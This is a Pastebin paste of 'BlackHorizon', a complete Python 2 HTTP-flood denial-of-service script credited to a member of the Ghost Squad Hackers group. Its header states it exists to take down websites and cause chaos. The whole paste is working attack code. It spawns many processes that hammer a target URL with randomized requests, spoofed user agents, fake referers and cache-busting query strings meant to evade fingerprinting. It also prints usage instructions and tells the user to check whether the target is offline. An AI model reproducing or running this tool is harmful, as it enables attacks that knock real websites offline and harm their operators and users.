Mr_N1gh7m4r3

BlackHorizon

Jul 25th, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.61 KB | None | 0 0
  1. #!/usr/bin/env python
  2. ###############################################################################
  3. # /#\ #
  4. # /###\ /\ #
  5. # / ###\ /##\ /\ #
  6. # / #\ /####\/##\ #
  7. # / / / # / ##\ _ /\ #
  8. # // // /\ / _/ / #\ _ /#\ _/##\ /\ #
  9. # // / / \ / / #\ \ _/###\_ / ##\__/ _\ #
  10. # / \ / .. \ / / _ { \ \ _/ / // / \\ #
  11. # /\ / /\ ... \_/ / / \ } \ | / /\ \ / _ / / \ /\ #
  12. # _ / \ /// / .\ ..%:. /... /\ . \ {: \\ /. \ / \ / ___ / \ #
  13. # /.\ .\.\// \/... \.::::..... _/..\ ..\:|:. . / .. \\ /.. \ /...\ / \ \#
  14. #/...\.../..:.\. ..:::::::..:..... . ...\{:... / %... \\/..%. \ /./:..\__ \#
  15. # .:..\:..:::....:::;;;;;;::::::::.:::::.\}.....::%.:. \ .:::. \/.%:::.:..\ #
  16. #::::...:::;;:::::;;;;;;;;;;;;;;:::::;;::{:::::::;;;:.. .:;:... ::;;::::.. #
  17. #;;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;];;;;;;;;;;::::::;;;;:.::;;;;;;;;:..#
  18. #;;;;;;;;;;;;;;ii;;;;;;;;;;;;;;;;;;;;;;;;[;;;;;;;;;;;;;;;;;;;;;;:;;;;;;;;;;;;;#
  19. #;;;;;;;;;;;;;;;;;;;iiiiiiii;;;;;;;;;;;;;;};;ii;;iiii;;;;i;;;;;;;;;;;;;;;ii;;;#
  20. #iiii;;;iiiiiiiiiiIIIIIIIIIIIiiiiiIiiiiii{iiIIiiiiiiiiiiiiiiii;;;;;iiiilliiiii#
  21. #IIIiiIIllllllIIlllIIIIlllIIIlIiiIIIIIIIIIIIIlIIIIIllIIIIIIIIiiiiiiiillIIIllII#
  22. #IIIiiilIIIIIIIllTIIIIllIIlIlIIITTTTlIlIlIIIlIITTTTTTTIIIIlIIllIlIlllIIIIIIITT#
  23. #IIIIilIIIIITTTTTTTIIIIIIIIIIIIITTTTTIIIIIIIIITTTTTTTTTTIIIIIIIIIlIIIIIIIITTTT#
  24. #IIIIIIIIITTTTTTTTTTTTTIIIIIIIITTTTTTTTIIIIIITTTTTTTTTTTTTTIIIIIIIIIIIIIITTTTT#
  25. #Black Horizon iDDoS Tool Created for takedown some websites and give chaos #
  26. ################################Hax Stroke#####################################
  27. ########################youtube.com/c/HaXStroKE################################
  28. ###########################Twitter: @HaxStroke#################################
  29. ###################################GSH#########################################
  30. ##################https://www.facebook.com/GhostSquadHackers/##################
  31.  
  32.  
  33. from multiprocessing import Process, Manager, Pool
  34. import urlparse, ssl
  35. import sys, getopt, random, time, os
  36.  
  37. # Python version-specific
  38. if sys.version_info < (3,0):
  39. # Python 2.x
  40. import httplib
  41. HTTPCLIENT = httplib
  42. else:
  43. # Python 3.x
  44. import http.client
  45. HTTPCLIENT = http.client
  46.  
  47. ####
  48. # Config
  49. ####
  50. DEBUG = False
  51.  
  52. ####
  53. # Constants
  54. ####
  55. METHOD_GET = 'get'
  56. METHOD_POST = 'post'
  57. METHOD_RAND = 'random'
  58.  
  59. JOIN_TIMEOUT=1.0
  60.  
  61. DEFAULT_CLOUNDS=10
  62. DEFAULT_SOCKETS=10
  63.  
  64. BLACKHORIZON_BANNER = 'BlackHorizon Clound Based DDoS Tool Created By Hax Stroke for GSH Members'
  65.  
  66. USER_AGENT_PARTS = {
  67. 'os': {
  68. 'linux': {
  69. 'name': [ 'Linux x86_64', 'Linux i386' ],
  70. 'ext': [ 'X11' ]
  71. },
  72. 'windows': {
  73. 'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
  74. 'ext': [ 'WOW64', 'Win64; x64' ]
  75. },
  76. 'mac': {
  77. 'name': [ 'Macintosh' ],
  78. 'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
  79. },
  80. },
  81. 'platform': {
  82. 'webkit': {
  83. 'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
  84. 'details': [ 'KHTML, like Gecko' ],
  85. 'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
  86. },
  87. 'iexplorer': {
  88. 'browser_info': {
  89. 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
  90. 'ext_pre': [ 'compatible', 'Windows; U' ],
  91. 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
  92. }
  93. },
  94. 'gecko': {
  95. 'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
  96. 'details': [],
  97. 'extensions': []
  98. }
  99. }
  100. }
  101.  
  102. ####
  103. # BlackHorizon Class
  104. ####
  105.  
  106. class BlackHorizon(object):
  107.  
  108. # Counters
  109. counter = [0, 0]
  110. last_counter = [0, 0]
  111.  
  112. # Containers
  113. cloundsQueue = [] ###############################
  114. manager = None #~~~~Created By Hax Stroke~~~~#
  115. useragents = [] #~~~~~~~~~~@FollowMe~~~~~~~~~~#
  116. #~~~youtube.com/c/HaXStroKE~~~#
  117. # Properties #~~~~~Twitter:@HaxStroKE~~~~~~#
  118. url = None ###############################
  119.  
  120. # Options
  121. nr_clounds = DEFAULT_CLOUNDS
  122. nr_sockets = DEFAULT_SOCKETS
  123. method = METHOD_GET
  124.  
  125. def __init__(self, url):
  126.  
  127. # Set URL
  128. self.url = url
  129.  
  130. # Initialize Manager
  131. self.manager = Manager()
  132.  
  133. # Initialize Counters
  134. self.counter = self.manager.list((0, 0))
  135.  
  136.  
  137. def exit(self):
  138. self.stats()
  139. print "Stopping BlackHorizon"
  140.  
  141. def __del__(self):
  142. self.exit()
  143.  
  144. def printHeader(self):
  145.  
  146. # Taunt!
  147. print
  148. print BLACKHORIZON_BANNER
  149. print
  150.  
  151. # Do the fun!
  152. def fire(self):
  153.  
  154. self.printHeader()
  155. print "Attacking Website with {1} clounds per attack and {2} connections per sockets.".format(self.method, self.nr_clounds, self.nr_sockets)
  156.  
  157. if DEBUG:
  158. print "Starting {0} concurrent clounds".format(self.nr_clounds)
  159.  
  160. # Start clounds
  161. for i in range(int(self.nr_clounds)):
  162.  
  163. try:
  164.  
  165. clound = Striker(self.url, self.nr_sockets, self.counter)
  166. clound.useragents = self.useragents
  167. clound.method = self.method
  168.  
  169. self.cloundsQueue.append(clound)
  170. clound.start()
  171. except (Exception):
  172. error("Failed to start clound {0}".format(i))
  173. pass
  174.  
  175. if DEBUG:
  176. print "Initiating monitor"
  177. self.monitor()
  178.  
  179. def stats(self):
  180.  
  181. try:
  182. if self.counter[0] > 0 or self.counter[1] > 0:
  183.  
  184. print "#--------> Clounds Online: {0} attacking... (Offline: {1}) Conection's online: {2} <--------#".format(self.counter[0], self.counter[1])
  185.  
  186. if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  187. print "\tClound's can't attack more check if the website is offline."
  188. print "\tUse the downforeveryoneorjustme.com for check."
  189.  
  190. self.last_counter[0] = self.counter[0]
  191. self.last_counter[1] = self.counter[1]
  192. except (Exception):
  193. pass # silently ignore
  194.  
  195. def monitor(self):
  196. while len(self.cloundsQueue) > 0:
  197. try:
  198. for clound in self.cloundsQueue:
  199. if clound is not None and clound.is_alive():
  200. clound.join(JOIN_TIMEOUT)
  201. else:
  202. self.cloundsQueue.remove(clound)
  203.  
  204. self.stats()
  205.  
  206. except (KeyboardInterrupt, SystemExit):
  207. print "Removing all Horizon Clound's"
  208. for clound in self.cloundsQueue:
  209. try:
  210. if DEBUG:
  211. print "Killing clound {0}".format(clound.name)
  212. #clound.terminate()
  213. clound.stop()
  214. except Exception, ex:
  215. pass # silently ignore
  216. if DEBUG:
  217. raise
  218. else:
  219. pass
  220.  
  221. ####
  222. # Striker Class
  223. ####
  224.  
  225. class Striker(Process):
  226.  
  227.  
  228. # Counters
  229. request_count = 0
  230. failed_count = 0
  231.  
  232. # Containers
  233. url = None
  234. host = None
  235. port = 80
  236. ssl = False
  237. referers = []
  238. useragents = []
  239. socks = []
  240. counter = None
  241. nr_socks = DEFAULT_SOCKETS
  242.  
  243. # Flags
  244. runnable = True
  245.  
  246. # Options
  247. method = METHOD_GET
  248.  
  249. def __init__(self, url, nr_sockets, counter):
  250.  
  251. super(Striker, self).__init__()
  252.  
  253. self.counter = counter
  254. self.nr_socks = nr_sockets
  255.  
  256. parsedUrl = urlparse.urlparse(url)
  257.  
  258. if parsedUrl.scheme == 'https':
  259. self.ssl = True
  260.  
  261. self.host = parsedUrl.netloc.split(':')[0]
  262. self.url = parsedUrl.path
  263.  
  264. self.port = parsedUrl.port
  265.  
  266. if not self.port:
  267. self.port = 80 if not self.ssl else 443
  268.  
  269.  
  270. self.referers = [
  271. 'http://www.google.com/',
  272. 'http://www.bing.com/', ############################
  273. 'http://www.baidu.com/', #Pre-configured #
  274. 'http://www.yandex.com/', #Botnets #
  275. 'http://www.yahoo.com/', #Infected's Websites #
  276. 'http://www.globo.com/', #Best's Shells Only #
  277. 'http://www.pastebin.com/', #All uploaded by Hax Stroke#
  278. 'https://www.nasa.gov/', #From GhostSquadHackers #
  279. 'https://www.facebook.com/', ############################
  280. 'http://www.chris.com/',
  281. 'http://www.retrojunkie.com/',
  282. 'http://www.usatoday.com/',
  283. 'http://www.engadget.search.aol.com/',
  284. 'http://www.ask.com/',
  285. 'http://www.sogou.com/',
  286. 'http://www.zhongsou.com/',
  287. 'http://www.dmoz.org/',
  288. 'http://' + self.host + '/'
  289. 'https://' + self.host + '/'
  290. ]
  291.  
  292.  
  293. def __del__(self):
  294. self.stop()
  295.  
  296.  
  297. #builds random ascii string
  298. def buildblock(self, size):
  299. out_str = ''
  300.  
  301. _LOWERCASE = range(97, 122)
  302. _UPPERCASE = range(65, 90)
  303. _NUMERIC = range(48, 57)
  304.  
  305. validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  306.  
  307. for i in range(0, size):
  308. a = random.choice(validChars)
  309. out_str += chr(a)
  310.  
  311. return out_str
  312.  
  313.  
  314. def run(self):
  315.  
  316. if DEBUG:
  317. print "Starting clound {0}".format(self.name)
  318.  
  319. while self.runnable:
  320.  
  321. try:
  322.  
  323. for i in range(self.nr_socks):
  324.  
  325. if self.ssl:
  326. c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  327. else:
  328. c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  329.  
  330. self.socks.append(c)
  331.  
  332. for conn_req in self.socks:
  333.  
  334. (url, headers) = self.createPayload()
  335.  
  336. method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  337.  
  338. conn_req.request(method.upper(), url, None, headers)
  339.  
  340. for conn_resp in self.socks:
  341.  
  342. resp = conn_resp.getresponse()
  343. self.incCounter()
  344.  
  345. self.closeConnections()
  346.  
  347. except:
  348. self.incFailed()
  349. if DEBUG:
  350. raise
  351. else:
  352. pass # silently ignore
  353.  
  354. if DEBUG:
  355. print "clound {0} completed run. Sleeping...".format(self.name)
  356.  
  357. def closeConnections(self):
  358. for conn in self.socks:
  359. try:
  360. conn.close()
  361. except:
  362. pass # silently ignore
  363.  
  364.  
  365. def createPayload(self):
  366.  
  367. req_url, headers = self.generateData()
  368.  
  369. random_keys = headers.keys()
  370. random.shuffle(random_keys)
  371. random_headers = {}
  372.  
  373. for header_name in random_keys:
  374. random_headers[header_name] = headers[header_name]
  375.  
  376. return (req_url, random_headers)
  377.  
  378. def generateQueryString(self, ammount = 1):
  379.  
  380. queryString = []
  381.  
  382. for i in range(ammount):
  383.  
  384. key = self.buildblock(random.randint(3,10))
  385. value = self.buildblock(random.randint(3,20))
  386. element = "{0}={1}".format(key, value)
  387. queryString.append(element)
  388.  
  389. return '&'.join(queryString)
  390.  
  391.  
  392. def generateData(self):
  393.  
  394. returnCode = 0
  395. param_joiner = "?"
  396.  
  397. if len(self.url) == 0:
  398. self.url = '/'
  399.  
  400. if self.url.count("?") > 0:
  401. param_joiner = "&"
  402.  
  403. request_url = self.generateRequestUrl(param_joiner)
  404.  
  405. http_headers = self.generateRandomHeaders()
  406.  
  407.  
  408. return (request_url, http_headers)
  409.  
  410. def generateRequestUrl(self, param_joiner = '?'):
  411.  
  412. return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  413.  
  414. def getUserAgent(self):
  415.  
  416. if self.useragents:
  417. return random.choice(self.useragents)
  418.  
  419. # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]
  420.  
  421. ## Mozilla Version
  422. mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6
  423.  
  424. ## System And Browser Information
  425. # Choose random OS
  426. os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
  427. os_name = random.choice(os['name'])
  428. sysinfo = os_name
  429.  
  430. # Choose random platform
  431. platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]
  432.  
  433. # Get Browser Information if available
  434. if 'browser_info' in platform and platform['browser_info']:
  435. browser = platform['browser_info']
  436.  
  437. browser_string = random.choice(browser['name'])
  438.  
  439. if 'ext_pre' in browser:
  440. browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
  441.  
  442. sysinfo = "%s; %s" % (browser_string, sysinfo)
  443.  
  444. if 'ext_post' in browser:
  445. sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
  446.  
  447.  
  448. if 'ext' in os and os['ext']:
  449. sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
  450.  
  451. ua_string = "%s (%s)" % (mozilla_version, sysinfo)
  452.  
  453. if 'name' in platform and platform['name']:
  454. ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
  455.  
  456. if 'details' in platform and platform['details']:
  457. ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )
  458.  
  459. if 'extensions' in platform and platform['extensions']:
  460. ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
  461.  
  462. return ua_string
  463.  
  464. def generateRandomHeaders(self):
  465.  
  466. # Random no-cache entries
  467. noCacheDirectives = ['no-cache', 'max-age=0']
  468. random.shuffle(noCacheDirectives)
  469. nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
  470. noCache = ', '.join(noCacheDirectives[:nrNoCache])
  471.  
  472. # Random accept encoding
  473. acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  474. random.shuffle(acceptEncoding)
  475. nrEncodings = random.randint(1,len(acceptEncoding)/2)
  476. roundEncodings = acceptEncoding[:nrEncodings]
  477.  
  478. http_headers = {
  479. 'User-Agent': self.getUserAgent(),
  480. 'Cache-Control': noCache,
  481. 'Accept-Encoding': ', '.join(roundEncodings),
  482. 'Connection': 'keep-alive',
  483. 'Keep-Alive': random.randint(1,1000),
  484. 'Host': self.host,
  485. }
  486.  
  487. # Randomly-added headers
  488. # These headers are optional and are
  489. # randomly sent thus making the
  490. # header count random and unfingerprintable
  491. if random.randrange(2) == 0:
  492. # Random accept-charset
  493. acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  494. random.shuffle(acceptCharset)
  495. http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  496.  
  497. if random.randrange(2) == 0:
  498. # Random Referer
  499. url_part = self.buildblock(random.randint(5,10))
  500.  
  501. random_referer = random.choice(self.referers) + url_part
  502.  
  503. if random.randrange(2) == 0:
  504. random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
  505.  
  506. http_headers['Referer'] = random_referer
  507.  
  508. if random.randrange(2) == 0:
  509. # Random Content-Trype
  510. http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  511.  
  512. if random.randrange(2) == 0:
  513. # Random Cookie
  514. http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  515.  
  516. return http_headers
  517.  
  518. # Housekeeping
  519. def stop(self):
  520. self.runnable = False
  521. self.closeConnections()
  522. self.terminate()
  523.  
  524. # Counter Functions
  525. def incCounter(self):
  526. try:
  527. self.counter[0] += 1
  528. except (Exception):
  529. pass
  530.  
  531. def incFailed(self):
  532. try:
  533. self.counter[1] += 1
  534. except (Exception):
  535. pass
  536.  
  537.  
  538.  
  539. ####
  540.  
  541. ####
  542. # Other Functions
  543. ####
  544.  
  545. def usage():
  546. print BLACKHORIZON_BANNER
  547. print ' USAGE: ./BlackHorizon.py http://www.target.com/ [OPTIONS]'
  548. print ' -c, --clounds Number of concurrent clounds\t(default: {0})'.format(DEFAULT_CLOUNDS)
  549. print ' -s, --sockets Number of concurrent sockets\t(default: {0})'.format(DEFAULT_SOCKETS)
  550. print 'GhostSquadHackers page: https://www.facebook.com/GhostSquadHackers/'
  551. print "\a"
  552. print \
  553. """
  554. . . . . . .
  555. . . * . . . .
  556. . . . * "The horizon will be black one day...
  557. . ____ . . . the day don't will exist more will be night"
  558. <WW>>> . . .
  559. . . /WWWI; \ . . . ____ . . .
  560. * /WWWWII; \=====; . /WI; \ * . /\_ .
  561. . /WWWWWII;.. \_ . ___/WI;:. \ . _/M; \ . . .
  562. /WWWWWIIIIi;.. \__/WWWIIII:.. \____ . . /MMI: \ * .
  563. . _/WWWWWIIIi;;;:...: ;\WWWWWWIIIII;. \ /MMWII; \ . . .
  564. /WWWWWIWIiii;;;.:.. : ;\WWWWWIII;;;:: \___/MMWIIII; \ .
  565. /WWWWWIIIIiii;;::.... : ;|WWWWWWII;;::.: :;IMWIIIII;: \___ *
  566. /WWWWWWWWWIIIIIWIIii;;::;..;\WWWWWWIII;;;:::... ;IMIII;; :: \ .
  567. WWWWWWWWWIIIIIIIIIii;;::.;..;\WWWWWWWWIIIII;;.. :;IMIII;::: : \
  568. WWWWWWWWWWWWWIIIIIIii;;::..;..;\WWWWWWWWIIII;::; :::::::::.....::
  569. ########################################################################XXXXXXX
  570. #####################################################################XXXXXXXXXX
  571. ##################################################################XXXXXXXXXXXXX
  572. ##############################################################XXXXXXXXXXXXXXXXX
  573. ###########################################################XXXXXXXXXXXXXXXXXXXX
  574. #####################################################XXXXXXXXXXXXXXXXXXXXXXXXXX
  575. """
  576.  
  577.  
  578. def error(msg):
  579. # print help information and exit:
  580. sys.stderr.write(str(msg+"\n"))
  581. usage()
  582. sys.exit(2)
  583.  
  584. ####
  585. # Main
  586. ####
  587.  
  588. def main():
  589.  
  590. try:
  591.  
  592. if len(sys.argv) < 2:
  593. error('Please put one url for start the attack of clounds')
  594.  
  595. url = sys.argv[1]
  596.  
  597. if url == '-h':
  598. usage()
  599. sys.exit()
  600.  
  601. if url[0:4].lower() != 'http':
  602. error("Invalid URL supplied")
  603.  
  604. if url == None:
  605. error("No URL supplied")
  606.  
  607. opts, args = getopt.getopt(sys.argv[2:], "dhc:s:m:u:", ["debug", "help", "clounds", "sockets", "method", "useragents" ])
  608.  
  609. clounds = DEFAULT_CLOUNDS
  610. socks = DEFAULT_SOCKETS
  611. method = METHOD_GET
  612.  
  613. uas_file = None
  614. useragents = []
  615.  
  616. for o, a in opts:
  617. if o in ("-h", "--help"):
  618. usage()
  619. sys.exit()
  620. elif o in ("-u", "--useragents"):
  621. uas_file = a
  622. elif o in ("-s", "--sockets"):
  623. socks = int(a)
  624. elif o in ("-c", "--clounds"):
  625. clounds = int(a)
  626. elif o in ("-d", "--debug"):
  627. global DEBUG
  628. DEBUG = True
  629. elif o in ("-m", "--method"):
  630. if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  631. method = a
  632. else:
  633. error("method {0} is invalid".format(a))
  634. else:
  635. error("option '"+o+"' doesn't exists")
  636.  
  637.  
  638. if uas_file:
  639. try:
  640. with open(uas_file) as f:
  641. useragents = f.readlines()
  642. except EnvironmentError:
  643. error("cannot read file {0}".format(uas_file))
  644.  
  645. blackhorizon = BlackHorizon(url)
  646. blackhorizon.useragents = useragents
  647. blackhorizon.nr_clounds = clounds
  648. blackhorizon.method = method
  649. blackhorizon.nr_sockets = socks
  650.  
  651. blackhorizon.fire()
  652.  
  653. except getopt.GetoptError, err:
  654.  
  655. # print help information and exit:
  656. sys.stderr.write(str(err))
  657. usage()
  658. sys.exit(2)
  659.  
  660. if __name__ == "__main__":
  661. main()
  662.  
  663. #################################################################################
  664. # aaaaaaaaaaaaaaaa * #
  665. # aaaaaaaaaaaaaaaaaaaaaaaa #
  666. # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa #
  667. # aaaaaaaaaaaaaaaaa aaaaaa #
  668. # aaaaaaaaaaaaaaaa aaaa #
  669. # aaaaaaaaaaaaa aa aa #
  670. #* aaaaaaaa aa a #
  671. # aaaaaaa aa aaaa #
  672. # * aaaaaaaaa aaa #
  673. # aaaaaaaaaaa aaaaaaa * #
  674. # aaaaaaa aaaaaaaaaa #
  675. # aaaaaa a aaaaaa aaaaaa #
  676. # aaaaaaa aaaaaaa #
  677. # aaaaaaaa a #
  678. # aaaaaaaaaa aa #
  679. # aaaaaaaaaaaaaaaa aaaa #
  680. # aaaaaaaaaaaaaaaaa aaaaaa * #
  681. # * aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa #
  682. # aaaaaaaaaaaaaaaaaaaaaaaa #
  683. # * aaaaaaaaaaaaaaaa #
  684. #################################################################################
Add Comment
Please, Sign In to add comment